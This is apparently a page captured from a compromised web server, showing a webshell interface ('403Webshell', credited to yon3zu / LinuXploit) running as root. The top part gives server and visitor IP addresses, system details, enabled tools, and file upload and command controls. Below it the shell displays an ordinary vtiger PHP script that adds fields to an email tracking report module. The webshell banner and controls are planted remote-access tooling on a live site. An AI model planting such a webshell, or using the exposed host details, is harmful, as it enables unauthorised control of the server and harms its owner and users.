403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/suitesupport.varianceinfotech.net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/suitesupport.varianceinfotech.net/Add_New_Field_EmailTrackerReport.php
<?php

// Turn on debugging level
$Vtiger_Utils_Log = true;
include_once('vtlib/Vtiger/Menu.php');
include_once('vtlib/Vtiger/Module.php');
// Create module instance and save it first
$module = new Vtiger_Module();
$module->name = 'EmailTrackingReport';
$module = $module->getInstance('EmailTrackingReport');

// Add the Requirement block
$block1 = new Vtiger_Block();
$block1->label = 'Link Tracker Information';
$block1 = $block1->getInstance($block1->label,$module);

/*$field1 = new Vtiger_Field();
$field1->name = 'email_date_open';
$field1->label = 'Date Open';
$field1->table = $module->basetable;
$field1->column = 'email_date_open';
$field1->columntype = 'DATE';
$field1->uitype = 5;
$field1->typeofdata = 'D~O';
$block1->addField($field1);*/

$field2 = new Vtiger_Field();
$field2->name = 'emailtracker_status';
$field2->table = $module->basetable;
$field2->label = 'Email Status';
$field2->column = 'emailtracker_status';
$field2->columntype = 'VARCHAR(255)';
$field2->uitype = 15;
$field2->setPickListValues(Array('Sent', 'Draft'));
$field2->typeofdata = 'V~O';
$block1->addField($field2);

$field3 = new Vtiger_Field();
$field3->name = 'status_description'; //Input Field name
$field3->label = 'Description'; //Input Label
$field3->table = $module->basetable; //Table Name
$field3->column = 'status_description';
$field3->columntype = 'VARCHAR(255)';
$field3->uitype = 19;
$field3->typeofdata = 'V~O';
$block1->addField($field3); //to add field in block

?>

Youez - 2016 - github.com/yon3zu
LinuXploit